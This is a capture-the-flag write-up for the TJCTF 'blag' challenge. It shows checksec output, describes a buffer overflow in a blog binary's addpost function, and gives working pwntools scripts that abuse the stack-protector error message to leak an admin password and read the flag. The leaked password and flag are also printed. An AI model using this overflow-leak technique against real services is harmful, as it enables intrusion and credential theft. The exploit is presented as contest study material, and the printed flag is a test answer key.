Description
Check out my new blog platform! `nc p.tjctf.org 8017`
blag.zip (contains blag.c and the binary)
Resolution
This challenge was part of the TJCTF, we are given the source code and the binary.
There is not much stuff to say about the sources except that this is a simple blog program that will allow us to read and add posts.
As on any binary/RE, we always start with:
laxa:~:13:03:00$ checksec --file blag_0eef9b24c4a119def3a50a6095b43d952dbf77206da9a95886a3d3e0a76fee42 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH blag_0eef9b24c4a119def3a50a6095b43d952dbf77206da9a95886a3d3e0a76fee42 laxa:~:13:03:07$ file blag_0eef9b24c4a119def3a50a6095b43d952dbf77206da9a95886a3d3e0a76fee42 blag_0eef9b24c4a119def3a50a6095b43d952dbf77206da9a95886a3d3e0a76fee42: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, not stripped
There is a few things to note from the source code:
- There is an admin password which is stored in the .bss segment, this segment isn’t affected by the ASLR, it’s address is 0x804b080
- We have an overflow in the function addpost in the body part. The structure holding the data is 320 byte long but the temporary buffer is only 32 bytes long
- We also see that there is a file holding previous blog posts and that is loaded when the program is started, if we look closely, we can guess that the flag is located in this file:
laxa:~:13:00:30$ nc p.tjctf.org 8017 Commands: list: List all posts. read: Read post. add: Add post. auth: Authenticate as admin. quit: Exactly what it says on the tin. > list Post #0: The Flag by Admin Post #1: doot doot by mr skeltal Post #2: here come dat boi!!!!!! by dat boi > read Index? 0 Admin only! >
- The binary is protected by SSP, it might be possible to use this kind of vulnerability which in fact would allow us to leak the password held in the .bss segment
So, we will try to do that, to begin with, we will need to find the correct offset where we will rewrite the ptr that the _stack_fail_function will print.
Using this code we can see that we rewrite the argv[0] pointer at offset 295, we need to use an offset of 296 to exactly overwrite this pointer.
#!/usr/bin/python from pwn import * for offset in range(200, 300): log.info(str(offset)) p = process("./blag") p.proc.stderr = p.proc.stdout p.sendline("add") # add a note p.sendline("a") # Author p.sendline("b") # Title p.recvuntil("Body?\n") p.sendline("Z" * offset) # overflow here on body ret = p.recvall() p.close()
And now we can use another script to leak the password and then recover the post #0 which hopefully hold the flag:
#!/usr/bin/python from pwn import * import struct def p32(addr): return struct.pack("<I", addr) overflow = 296 # overflow to rewrite the ssp pointer #p = process("./blag") p = remote("p.tjctf.org", 8017) p.sendline("add") p.sendline("a") # author p.sendline("b") # title boom = "Z" * overflow + p32(0x804b080) # address of admin password in .bss p.recvuntil("Body?") p.sendline(boom) # body = overflow p.recvuntil("***: ") password = p.recvline().split(" ")[0] log.info("Got password: " + password) p.close() p = remote("p.tjctf.org", 8017) p.sendline("auth") p.sendline(password.rstrip()) p.sendline("read") p.sendline("0") p.recvuntil("The Flag by Admin:") p.recvline() flag = p.recvline() log.info("flag is: " + flag)
The execution gives us:
laxa:~:13:16:28$ ./blag.py [+] Opening connection to p.tjctf.org on port 8017: Done [*] Got password: s00pers3cr3tpassw0rdy0 [*] Closed connection to p.tjctf.org port 8017 [+] Opening connection to p.tjctf.org on port 8017: Done [*] flag is: tjctf{I_h3aRd_ab0u7_1t_oN_th3_1nterBlag!} [*] Closed connection to p.tjctf.org port 8017
Flag is: tjctf{I_h3aRd_ab0u7_1t_oN_th3_1nterBlag!}